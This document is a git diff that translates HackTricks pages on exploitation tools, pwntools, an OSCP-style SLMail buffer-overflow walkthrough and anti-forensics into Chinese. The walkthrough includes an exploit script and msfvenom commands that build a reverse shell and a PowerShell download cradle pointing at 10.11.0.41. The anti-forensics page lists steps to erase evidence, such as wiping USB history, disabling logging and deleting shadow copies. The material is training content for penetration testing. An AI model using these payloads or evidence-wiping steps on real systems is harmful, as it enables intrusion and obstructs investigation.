the RBP._ +**Ghidra** 非常有用,可以找到 **缓冲区溢出的偏移量,感谢有关局部变量位置的信息。**\ +例如,在下面的示例中,`local_bc` 中的缓冲区流表明您需要 `0xbc` 的偏移量。此外,如果 `local_10` 是一个金丝雀 cookie,则表明要从 `local_bc` 覆盖它需要 `0xac` 的偏移量。\ +_请记住,保存 RIP 的前 0x08 属于 RBP。_ ![](<../../images/image (616).png>) ## GCC -**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\ -**-o** --> Output\ -**-g** --> Save code (GDB will be able to see it)\ -**echo 0 > /proc/sys/kernel/randomize_va_space** --> To deactivate the ASLR in linux +**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> 在没有保护的情况下编译\ +**-o** --> 输出\ +**-g** --> 保存代码(GDB 将能够看到它)\ +**echo 0 > /proc/sys/kernel/randomize_va_space** --> 在 Linux 中停用 ASLR -**To compile a shellcode:**\ -**nasm -f elf assembly.asm** --> return a ".o"\ -**ld assembly.o -o shellcodeout** --> Executable +**编译 shellcode:**\ +**nasm -f elf assembly.asm** --> 返回一个 ".o"\ +**ld assembly.o -o shellcodeout** --> 可执行文件 ## Objdump -**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\ -**-Mintel** --> **Intel** syntax\ -**-t** --> **Symbols** table\ -**-D** --> **Disassemble all** (address of static variable)\ -**-s -j .dtors** --> dtors section\ -**-s -j .got** --> got section\ -\-D -s -j .plt --> **plt** section **decompiled**\ -**-TR** --> **Relocations**\ -**ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\ -**objdump -D ./exec | grep "VAR_NAME"** --> Address or a static variable (those are stored in DATA section). +**-d** --> **反汇编可执行**部分(查看编译的 shellcode 的操作码,查找 ROP Gadget,查找函数地址...)\ +**-Mintel** --> **Intel** 语法\ +**-t** --> **符号**表\ +**-D** --> **反汇编所有**(静态变量的地址)\ +**-s -j .dtors** --> dtors 部分\ +**-s -j .got** --> got 部分\ +\-D -s -j .plt --> **plt** 部分 **反编译**\ +**-TR** --> **重定位**\ +**ojdump -t --dynamic-relo ./exec | grep puts** --> 在 GOT 中修改 "puts" 的地址\ +**objdump -D ./exec | grep "VAR_NAME"** --> 静态变量的地址(这些存储在 DATA 部分)。 -## Core dumps +## 核转储 -1. Run `ulimit -c unlimited` before starting my program -2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` +1. 在启动我的程序之前运行 `ulimit -c unlimited` +2. 运行 `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` 3. sudo gdb --core=\ --quiet -## More +## 更多 -**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\ -**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Loop to see if the address changes a lot\ -**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\ -**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh" +**ldd executable | grep libc.so.6** --> 地址(如果 ASLR,则每次都会更改)\ +**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> 循环查看地址是否变化很大\ +**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system" 的偏移量\ +**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh" 的偏移量 -**strace executable** --> Functions called by the executable\ -**rabin2 -i ejecutable -->** Address of all the functions - -## **Inmunity debugger** +**strace executable** --> 可执行文件调用的函数\ +**rabin2 -i ejecutable -->** 所有函数的地址 +## **Inmunity 调试器** ```bash !mona modules #Get protections, look for all false except last one (Dll of SO) !mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP) ``` - ## IDA -### Debugging in remote linux - -Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary _linux_server_ or _linux_server64_ inside the linux server and run it nside the folder that contains the binary: +### 在远程 Linux 中调试 +在 IDA 文件夹中,您可以找到可以用于在 Linux 中调试二进制文件的二进制文件。要做到这一点,将二进制文件 _linux_server_ 或 _linux_server64_ 移动到 Linux 服务器中,并在包含该二进制文件的文件夹中运行它: ``` ./linux_server64 -Ppass ``` - -Then, configure the debugger: Debugger (linux remote) --> Proccess options...: +然后,配置调试器:调试器(linux 远程) --> 进程选项...: ![](<../../images/image (101).png>) diff --git a/src/exploiting/tools/pwntools.md b/src/exploiting/tools/pwntools.md index a7c0aa204..462b27e9f 100644 --- a/src/exploiting/tools/pwntools.md +++ b/src/exploiting/tools/pwntools.md @@ -1,118 +1,98 @@ {{#include ../../banners/hacktricks-training.md}} - ``` pip3 install pwntools ``` - # Pwn asm -Get opcodes from line or file. - +从行或文件中获取操作码。 ``` pwn asm "jmp esp" pwn asm -i ``` +**可以选择:** -**Can select:** - -- output type (raw,hex,string,elf) -- output file context (16,32,64,linux,windows...) -- avoid bytes (new lines, null, a list) -- select encoder debug shellcode using gdb run the output +- 输出类型 (raw, hex, string, elf) +- 输出文件上下文 (16, 32, 64, linux, windows...) +- 避免字节 (新行, null, 列表) +- 选择编码器调试 shellcode 使用 gdb 运行输出 # **Pwn checksec** -Checksec script - +Checksec 脚本 ``` pwn checksec ``` - # Pwn constgrep # Pwn cyclic -Get a pattern - +获取一个模式 ``` pwn cyclic 3000 pwn cyclic -l faad ``` +**可以选择:** -**Can select:** - -- The used alphabet (lowercase chars by default) -- Length of uniq pattern (default 4) -- context (16,32,64,linux,windows...) -- Take the offset (-l) +- 使用的字母表(默认小写字符) +- 唯一模式的长度(默认4) +- 上下文(16,32,64,linux,windows...) +- 偏移量(-l) # Pwn debug -Attach GDB to a process - +将 GDB 附加到一个进程 ``` pwn debug --exec /bin/bash pwn debug --pid 1234 pwn debug --process bash ``` +**可以选择:** -**Can select:** - -- By executable, by name or by pid context (16,32,64,linux,windows...) -- gdbscript to execute +- 按可执行文件、名称或 pid 上下文(16,32,64,linux,windows...) +- 要执行的 gdbscript - sysrootpath -# Pwn disablenx - -Disable nx of a binary +# Pwn 禁用 nx +禁用二进制文件的 nx ``` pwn disablenx ``` - # Pwn disasm -Disas hex opcodes - +反汇编十六进制操作码 ``` pwn disasm ffe4 ``` +**可以选择:** -**Can select:** - -- context (16,32,64,linux,windows...) -- base addres -- color(default)/no color +- 上下文 (16,32,64,linux,windows...) +- 基地址 +- 颜色(默认)/无颜色 # Pwn elfdiff -Print differences between 2 fiels - +打印两个文件之间的差异 ``` pwn elfdiff ``` - # Pwn hex -Get hexadecimal representation - +获取十六进制表示 ```bash pwn hex hola #Get hex of "hola" ascii ``` - # Pwn phd -Get hexdump - +获取十六进制转储 ``` pwn phd ``` +**可以选择:** -**Can select:** - -- Number of bytes to show -- Number of bytes per line highlight byte -- Skip bytes at beginning +- 显示的字节数 +- 每行高亮字节的字节数 +- 跳过开头的字节 # Pwn pwnstrip @@ -120,8 +100,7 @@ pwn phd # Pwn shellcraft -Get shellcodes - +获取 shellcodes ``` pwn shellcraft -l #List shellcodes pwn shellcraft -l amd #Shellcode with amd in the name @@ -129,46 +108,39 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run pwn shellcraft -r amd64.linux.sh #Run to test. Get shell pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port ``` +**可以选择:** -**Can select:** +- shellcode 和 shellcode 的参数 +- 输出文件 +- 输出格式 +- 调试(将 dbg 附加到 shellcode) +- 之前(在代码之前调试陷阱) +- 之后 +- 避免使用操作码(默认:不为 null 和新行) +- 运行 shellcode +- 有色/无色 +- 列出系统调用 +- 列出可能的 shellcodes +- 生成 ELF 作为共享库 -- shellcode and arguments for the shellcode -- Out file -- output format -- debug (attach dbg to shellcode) -- before (debug trap before code) -- after -- avoid using opcodes (default: not null and new line) -- Run the shellcode -- Color/no color -- list syscalls -- list possible shellcodes -- Generate ELF as a shared library - -# Pwn template - -Get a python template +# Pwn 模板 +获取一个 python 模板 ``` pwn template ``` - -**Can select:** host, port, user, pass, path and quiet +**可以选择:** 主机,端口,用户,密码,路径和静默 # Pwn unhex -From hex to string - +从十六进制到字符串 ``` pwn unhex 686f6c61 ``` +# Pwn 更新 -# Pwn update - -To update pwntools - +要更新 pwntools ``` pwn update ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md b/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md index 1f8119bb8..cfb1cecfc 100644 --- a/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md +++ b/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md @@ -2,20 +2,17 @@ {{#include ../banners/hacktricks-training.md}} -## **Start installing the SLMail service** +## **开始安装 SLMail 服务** -## Restart SLMail service - -Every time you need to **restart the service SLMail** you can do it using the windows console: +## 重启 SLMail 服务 +每次你需要 **重启 SLMail 服务** 时,可以使用 Windows 控制台进行操作: ``` net start slmail ``` - ![](<../images/image (23) (1).png>) -## Very basic python exploit template - +## 非常基本的 Python 利用模板 ```python #!/usr/bin/python @@ -27,99 +24,89 @@ port = 110 buffer = 'A' * 2700 try: - print "\nLaunching exploit..." - s.connect((ip, port)) - data = s.recv(1024) - s.send('USER username' +'\r\n') - data = s.recv(1024) - s.send('PASS ' + buffer + '\r\n') - print "\nFinished!." +print "\nLaunching exploit..." +s.connect((ip, port)) +data = s.recv(1024) +s.send('USER username' +'\r\n') +data = s.recv(1024) +s.send('PASS ' + buffer + '\r\n') +print "\nFinished!." except: - print "Could not connect to "+ip+":"+port +print "Could not connect to "+ip+":"+port ``` +## **更改 Immunity Debugger 字体** -## **Change Immunity Debugger Font** +前往 `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` -Go to `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` - -## **Attach the proces to Immunity Debugger:** +## **将进程附加到 Immunity Debugger:** **File --> Attach** ![](<../images/image (24) (1) (1).png>) -**And press START button** +**然后按下 START 按钮** -## **Send the exploit and check if EIP is affected:** +## **发送漏洞利用并检查 EIP 是否受到影响:** ![](<../images/image (25) (1) (1).png>) -Every time you break the service you should restart it as is indicated in the beginnig of this page. +每次你中断服务时,都应该重新启动它,如本页开头所示。 -## Create a pattern to modify the EIP +## 创建一个模式以修改 EIP -The pattern should be as big as the buffer you used to broke the service previously. +该模式应与您之前用于中断服务的缓冲区一样大。 ![](<../images/image (26) (1) (1).png>) - ``` /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 ``` +更改漏洞的缓冲区并设置模式,然后启动漏洞。 -Change the buffer of the exploit and set the pattern and lauch the exploit. - -A new crash should appeard, but with a different EIP address: +应该出现一个新的崩溃,但具有不同的 EIP 地址: ![](<../images/image (27) (1) (1).png>) -Check if the address was in your pattern: +检查该地址是否在您的模式中: ![](<../images/image (28) (1) (1).png>) - ``` /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438 ``` +看起来**我们可以在缓冲区的偏移量 2606 修改 EIP**。 -Looks like **we can modify the EIP in offset 2606** of the buffer. - -Check it modifing the buffer of the exploit: - +检查修改漏洞的缓冲区: ``` buffer = 'A'*2606 + 'BBBB' + 'CCCC' ``` - -With this buffer the EIP crashed should point to 42424242 ("BBBB") +使用这个缓冲区,EIP 崩溃应该指向 42424242 ("BBBB") ![](<../images/image (30) (1) (1).png>) ![](<../images/image (29) (1) (1).png>) -Looks like it is working. +看起来它正在工作。 -## Check for Shellcode space inside the stack +## 检查堆栈中的 Shellcode 空间 -600B should be enough for any powerfull shellcode. - -Lets change the bufer: +600B 应该足够用于任何强大的 shellcode。 +让我们更改缓冲区: ``` buffer = 'A'*2606 + 'BBBB' + 'C'*600 ``` - -launch the new exploit and check the EBP and the length of the usefull shellcode +启动新的漏洞利用并检查 EBP 以及有用的 shellcode 的长度 ![](<../images/image (31) (1).png>) ![](<../images/image (32) (1).png>) -You can see that when the vulnerability is reached, the EBP is pointing to the shellcode and that we have a lot of space to locate a shellcode here. +你可以看到,当漏洞被触发时,EBP 指向 shellcode,并且我们有很多空间来放置 shellcode。 -In this case we have **from 0x0209A128 to 0x0209A2D6 = 430B.** Enough. +在这种情况下,我们有 **从 0x0209A128 到 0x0209A2D6 = 430B。** 足够了。 -## Check for bad chars - -Change again the buffer: +## 检查坏字符 +再次更改缓冲区: ``` badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" @@ -141,30 +128,27 @@ badchars = ( ) buffer = 'A'*2606 + 'BBBB' + badchars ``` +坏字符从 0x01 开始,因为 0x00 几乎总是坏的。 -The badchars starts in 0x01 because 0x00 is almost always bad. +重复执行利用这个新缓冲区,删除被发现无用的字符: -Execute repeatedly the exploit with this new buffer delenting the chars that are found to be useless:. +例如: -For example: - -In this case you can see that **you shouldn't use the char 0x0A** (nothing is saved in memory since the char 0x09). +在这种情况下,你可以看到 **你不应该使用字符 0x0A**(由于字符 0x09,内存中没有保存任何内容)。 ![](<../images/image (33) (1).png>) -In this case you can see that **the char 0x0D is avoided**: +在这种情况下,你可以看到 **字符 0x0D 被避免**: ![](<../images/image (34) (1).png>) -## Find a JMP ESP as a return address - -Using: +## 找到 JMP ESP 作为返回地址 +使用: ``` !mona modules #Get protections, look for all false except last one (Dll of SO) ``` - -You will **list the memory maps**. Search for some DLl that has: +您将**列出内存映射**。搜索一些具有以下特征的 DLL: - **Rebase: False** - **SafeSEH: False** @@ -174,30 +158,25 @@ You will **list the memory maps**. Search for some DLl that has: ![](<../images/image (35) (1).png>) -Now, inside this memory you should find some JMP ESP bytes, to do that execute: - +现在,在此内存中,您应该找到一些 JMP ESP 字节,要做到这一点,请执行: ``` !mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP) !mona find -s "\xff\xe4" -m slmfc.dll # Example in this case ``` - -**Then, if some address is found, choose one that don't contain any badchar:** +**然后,如果找到某个地址,选择一个不包含任何坏字符的地址:** ![](<../images/image (36) (1).png>) -**In this case, for example: \_0x5f4a358f**\_ - -## Create shellcode +**在这种情况下,例如:\_0x5f4a358f**\_ +## 创建 shellcode ``` msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d' msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d' ``` +如果漏洞利用没有成功但应该成功(你可以通过ImDebg看到shellcode已到达),尝试创建其他shellcode(使用msfvenom为相同参数创建不同的shellcode)。 -If the exploit is not working but it should (you can see with ImDebg that the shellcode is reached), try to create other shellcodes (msfvenom with create different shellcodes for the same parameters). - -**Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit: - +**在shellcode的开头添加一些NOPS**,并使用它和返回地址来JMP ESP,完成漏洞利用: ```bash #!/usr/bin/python @@ -236,26 +215,23 @@ shellcode = ( buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode try: - print "\nLaunching exploit..." - s.connect((ip, port)) - data = s.recv(1024) - s.send('USER username' +'\r\n') - data = s.recv(1024) - s.send('PASS ' + buffer + '\r\n') - print "\nFinished!." +print "\nLaunching exploit..." +s.connect((ip, port)) +data = s.recv(1024) +s.send('USER username' +'\r\n') +data = s.recv(1024) +s.send('PASS ' + buffer + '\r\n') +print "\nFinished!." except: - print "Could not connect to "+ip+":"+port +print "Could not connect to "+ip+":"+port ``` - > [!WARNING] -> There are shellcodes that will **overwrite themselves**, therefore it's important to always add some NOPs before the shellcode +> 有些 shellcode 会 **自我覆盖**,因此在 shellcode 之前始终添加一些 NOP 是很重要的。 -## Improving the shellcode - -Add this parameters: +## 改进 shellcode +添加以下参数: ``` EXITFUNC=thread -e x86/shikata_ga_nai ``` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/README.md b/src/forensics/basic-forensic-methodology/README.md index e725dfa85..36f3ea518 100644 --- a/src/forensics/basic-forensic-methodology/README.md +++ b/src/forensics/basic-forensic-methodology/README.md @@ -1,30 +1,30 @@ -# Basic Forensic Methodology +# 基本取证方法论 {{#include ../../banners/hacktricks-training.md}} -## Creating and Mounting an Image +## 创建和挂载映像 {{#ref}} ../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md {{#endref}} -## Malware Analysis +## 恶意软件分析 -This **isn't necessary the first step to perform once you have the image**. But you can use this malware analysis techniques independently if you have a file, a file-system image, memory image, pcap... so it's good to **keep these actions in mind**: +这**并不是在获得映像后必须执行的第一步**。但是如果你有一个文件、文件系统映像、内存映像、pcap...你可以独立使用这些恶意软件分析技术,因此**记住这些操作是好的**: {{#ref}} malware-analysis.md {{#endref}} -## Inspecting an Image +## 检查映像 -if you are given a **forensic image** of a device you can start **analyzing the partitions, file-system** used and **recovering** potentially **interesting files** (even deleted ones). Learn how in: +如果你获得了设备的**取证映像**,你可以开始**分析分区、文件系统**并**恢复**潜在的**有趣文件**(甚至是已删除的文件)。了解如何进行: {{#ref}} partitions-file-systems-carving/ {{#endref}} -Depending on the used OSs and even platform different interesting artifacts should be searched: +根据使用的操作系统甚至平台,应该搜索不同的有趣文物: {{#ref}} windows-forensics/ @@ -38,42 +38,42 @@ linux-forensics.md docker-forensics.md {{#endref}} -## Deep inspection of specific file-types and Software +## 深入检查特定文件类型和软件 -If you have very **suspicious** **file**, then **depending on the file-type and software** that created it several **tricks** may be useful.\ -Read the following page to learn some interesting tricks: +如果你有非常**可疑的****文件**,那么**根据文件类型和创建它的软件**,可能会有几种**技巧**是有用的。\ +阅读以下页面以了解一些有趣的技巧: {{#ref}} specific-software-file-type-tricks/ {{#endref}} -I want to do a special mention to the page: +我想特别提到以下页面: {{#ref}} specific-software-file-type-tricks/browser-artifacts.md {{#endref}} -## Memory Dump Inspection +## 内存转储检查 {{#ref}} memory-dump-analysis/ {{#endref}} -## Pcap Inspection +## Pcap 检查 {{#ref}} pcap-inspection/ {{#endref}} -## **Anti-Forensic Techniques** +## **反取证技术** -Keep in mind the possible use of anti-forensic techniques: +请记住可能使用反取证技术: {{#ref}} anti-forensic-techniques.md {{#endref}} -## Threat Hunting +## 威胁狩猎 {{#ref}} file-integrity-monitoring.md diff --git a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md index 615ede378..991f68482 100644 --- a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md +++ b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md @@ -1,159 +1,151 @@ {{#include ../../banners/hacktricks-training.md}} -
+# 时间戳 -{% embed url="https://websec.nl/" %} +攻击者可能会对**更改文件的时间戳**感兴趣,以避免被检测。\ +可以在MFT中的属性`$STANDARD_INFORMATION`和`$FILE_NAME`中找到时间戳。 -# Timestamps +这两个属性都有4个时间戳:**修改**、**访问**、**创建**和**MFT注册修改**(MACE或MACB)。 -An attacker may be interested in **changing the timestamps of files** to avoid being detected.\ -It's possible to find the timestamps inside the MFT in attributes `$STANDARD_INFORMATION` ** and ** `$FILE_NAME`. +**Windows资源管理器**和其他工具显示来自**`$STANDARD_INFORMATION`**的信息。 -Both attributes have 4 timestamps: **Modification**, **access**, **creation**, and **MFT registry modification** (MACE or MACB). +## TimeStomp - 反取证工具 -**Windows explorer** and other tools show the information from **`$STANDARD_INFORMATION`**. - -## TimeStomp - Anti-forensic Tool - -This tool **modifies** the timestamp information inside **`$STANDARD_INFORMATION`** **but** **not** the information inside **`$FILE_NAME`**. Therefore, it's possible to **identify** **suspicious** **activity**. +该工具**修改**`$STANDARD_INFORMATION`中的时间戳信息**但**不修改`$FILE_NAME`中的信息。因此,可以**识别****可疑****活动**。 ## Usnjrnl -The **USN Journal** (Update Sequence Number Journal) is a feature of the NTFS (Windows NT file system) that keeps track of volume changes. The [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) tool allows for the examination of these changes. +**USN日志**(更新序列号日志)是NTFS(Windows NT文件系统)的一个特性,用于跟踪卷更改。 [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv)工具允许检查这些更改。 ![](<../../images/image (449).png>) -The previous image is the **output** shown by the **tool** where it can be observed that some **changes were performed** to the file. +上图是**工具**显示的**输出**,可以观察到对文件进行了一些**更改**。 ## $LogFile -**All metadata changes to a file system are logged** in a process known as [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). The logged metadata is kept in a file named `**$LogFile**`, located in the root directory of an NTFS file system. Tools such as [LogFileParser](https://github.com/jschicht/LogFileParser) can be used to parse this file and identify changes. +**对文件系统的所有元数据更改都被记录**在一个称为[写前日志](https://en.wikipedia.org/wiki/Write-ahead_logging)的过程中。记录的元数据保存在名为`**$LogFile**`的文件中,该文件位于NTFS文件系统的根目录。可以使用[LogFileParser](https://github.com/jschicht/LogFileParser)等工具解析此文件并识别更改。 ![](<../../images/image (450).png>) -Again, in the output of the tool it's possible to see that **some changes were performed**. +同样,在工具的输出中可以看到**进行了一些更改**。 -Using the same tool it's possible to identify to **which time the timestamps were modified**: +使用同一工具可以识别**时间戳被修改到哪个时间**: ![](<../../images/image (451).png>) -- CTIME: File's creation time -- ATIME: File's modification time -- MTIME: File's MFT registry modification -- RTIME: File's access time +- CTIME: 文件创建时间 +- ATIME: 文件修改时间 +- MTIME: 文件的MFT注册修改 +- RTIME: 文件的访问时间 -## `$STANDARD_INFORMATION` and `$FILE_NAME` comparison +## `$STANDARD_INFORMATION`和`$FILE_NAME`比较 -Another way to identify suspicious modified files would be to compare the time on both attributes looking for **mismatches**. +识别可疑修改文件的另一种方法是比较两个属性上的时间,寻找**不匹配**。 -## Nanoseconds +## 纳秒 -**NTFS** timestamps have a **precision** of **100 nanoseconds**. Then, finding files with timestamps like 2010-10-10 10:10:**00.000:0000 is very suspicious**. +**NTFS**时间戳的**精度**为**100纳秒**。因此,找到时间戳如2010-10-10 10:10:**00.000:0000的文件是非常可疑的**。 -## SetMace - Anti-forensic Tool +## SetMace - 反取证工具 -This tool can modify both attributes `$STARNDAR_INFORMATION` and `$FILE_NAME`. However, from Windows Vista, it's necessary for a live OS to modify this information. +该工具可以修改两个属性`$STARNDAR_INFORMATION`和`$FILE_NAME`。然而,从Windows Vista开始,必须在活动操作系统中修改此信息。 -# Data Hiding +# 数据隐藏 -NFTS uses a cluster and the minimum information size. That means that if a file occupies uses and cluster and a half, the **reminding half is never going to be used** until the file is deleted. Then, it's possible to **hide data in this slack space**. +NFTS使用集群和最小信息大小。这意味着如果一个文件占用一个半集群,**剩下的半个集群将永远不会被使用**,直到文件被删除。因此,可以在这个松弛空间中**隐藏数据**。 -There are tools like slacker that allow hiding data in this "hidden" space. However, an analysis of the `$logfile` and `$usnjrnl` can show that some data was added: +有像slacker这样的工具可以在这个“隐藏”空间中隐藏数据。然而,对`$logfile`和`$usnjrnl`的分析可以显示一些数据被添加: ![](<../../images/image (452).png>) -Then, it's possible to retrieve the slack space using tools like FTK Imager. Note that this kind of tool can save the content obfuscated or even encrypted. +然后,可以使用FTK Imager等工具检索松弛空间。请注意,这种工具可以保存内容为模糊或甚至加密的形式。 # UsbKill -This is a tool that will **turn off the computer if any change in the USB** ports is detected.\ -A way to discover this would be to inspect the running processes and **review each python script running**. +这是一个工具,如果检测到USB端口的任何更改,将**关闭计算机**。\ +发现这一点的一种方法是检查正在运行的进程并**审查每个正在运行的python脚本**。 -# Live Linux Distributions +# 实时Linux发行版 -These distros are **executed inside the RAM** memory. The only way to detect them is **in case the NTFS file-system is mounted with write permissions**. If it's mounted just with read permissions it won't be possible to detect the intrusion. +这些发行版在**RAM**内存中**执行**。检测它们的唯一方法是**在NTFS文件系统以写入权限挂载的情况下**。如果仅以读取权限挂载,则无法检测到入侵。 -# Secure Deletion +# 安全删除 [https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization) -# Windows Configuration +# Windows配置 -It's possible to disable several windows logging methods to make the forensics investigation much harder. +可以禁用多个Windows日志记录方法,以使取证调查变得更加困难。 -## Disable Timestamps - UserAssist +## 禁用时间戳 - UserAssist -This is a registry key that maintains dates and hours when each executable was run by the user. +这是一个注册表项,维护用户运行每个可执行文件的日期和时间。 -Disabling UserAssist requires two steps: +禁用UserAssist需要两个步骤: -1. Set two registry keys, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` and `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, both to zero in order to signal that we want UserAssist disabled. -2. Clear your registry subtrees that look like `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`. +1. 设置两个注册表项,`HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs`和`HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`,都设置为零,以表示我们希望禁用UserAssist。 +2. 清除看起来像`HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`的注册表子树。 -## Disable Timestamps - Prefetch +## 禁用时间戳 - Prefetch -This will save information about the applications executed with the goal of improving the performance of the Windows system. However, this can also be useful for forensics practices. +这将保存有关执行的应用程序的信息,目的是提高Windows系统的性能。然而,这对于取证实践也可能有用。 -- Execute `regedit` -- Select the file path `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` -- Right-click on both `EnablePrefetcher` and `EnableSuperfetch` -- Select Modify on each of these to change the value from 1 (or 3) to 0 -- Restart +- 执行`regedit` +- 选择文件路径`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` +- 右键单击`EnablePrefetcher`和`EnableSuperfetch` +- 选择修改,将每个值从1(或3)更改为0 +- 重启 -## Disable Timestamps - Last Access Time +## 禁用时间戳 - 最后访问时间 -Whenever a folder is opened from an NTFS volume on a Windows NT server, the system takes the time to **update a timestamp field on each listed folder**, called the last access time. On a heavily used NTFS volume, this can affect performance. +每当从Windows NT服务器上的NTFS卷打开文件夹时,系统会花时间**更新每个列出文件夹的时间戳字段**,称为最后访问时间。在一个使用频繁的NTFS卷上,这可能会影响性能。 -1. Open the Registry Editor (Regedit.exe). -2. Browse to `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`. -3. Look for `NtfsDisableLastAccessUpdate`. If it doesn’t exist, add this DWORD and set its value to 1, which will disable the process. -4. Close the Registry Editor, and reboot the server. +1. 打开注册表编辑器(Regedit.exe)。 +2. 浏览到`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`。 +3. 查找`NtfsDisableLastAccessUpdate`。如果不存在,请添加此DWORD并将其值设置为1,这将禁用该过程。 +4. 关闭注册表编辑器,并重启服务器。 -## Delete USB History +## 删除USB历史 -All the **USB Device Entries** are stored in Windows Registry Under the **USBSTOR** registry key that contains sub keys which are created whenever you plug a USB Device into your PC or Laptop. You can find this key here H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Deleting this** you will delete the USB history.\ -You may also use the tool [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) to be sure you have deleted them (and to delete them). +所有**USB设备条目**都存储在Windows注册表下的**USBSTOR**注册表项中,该项包含在您将USB设备插入PC或笔记本电脑时创建的子项。您可以在这里找到此项`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`。**删除此项**将删除USB历史。\ +您还可以使用工具[**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html)确保您已删除它们(并删除它们)。 -Another file that saves information about the USBs is the file `setupapi.dev.log` inside `C:\Windows\INF`. This should also be deleted. +另一个保存USB信息的文件是`C:\Windows\INF`中的`setupapi.dev.log`。这也应该被删除。 -## Disable Shadow Copies +## 禁用影子副本 -**List** shadow copies with `vssadmin list shadowstorage`\ -**Delete** them running `vssadmin delete shadow` +**列出**影子副本使用`vssadmin list shadowstorage`\ +**删除**它们运行`vssadmin delete shadow` -You can also delete them via GUI following the steps proposed in [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html) +您还可以通过GUI删除它们,按照[https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)中提出的步骤进行操作。 -To disable shadow copies [steps from here](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): +要禁用影子副本,请参见[此处的步骤](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows): -1. Open the Services program by typing "services" into the text search box after clicking the Windows start button. -2. From the list, find "Volume Shadow Copy", select it, and then access Properties by right-clicking. -3. Choose Disabled from the "Startup type" drop-down menu, and then confirm the change by clicking Apply and OK. +1. 通过在点击Windows开始按钮后在文本搜索框中输入“services”打开服务程序。 +2. 从列表中找到“卷影副本”,选择它,然后右键单击访问属性。 +3. 从“启动类型”下拉菜单中选择禁用,然后通过单击应用和确定确认更改。 -It's also possible to modify the configuration of which files are going to be copied in the shadow copy in the registry 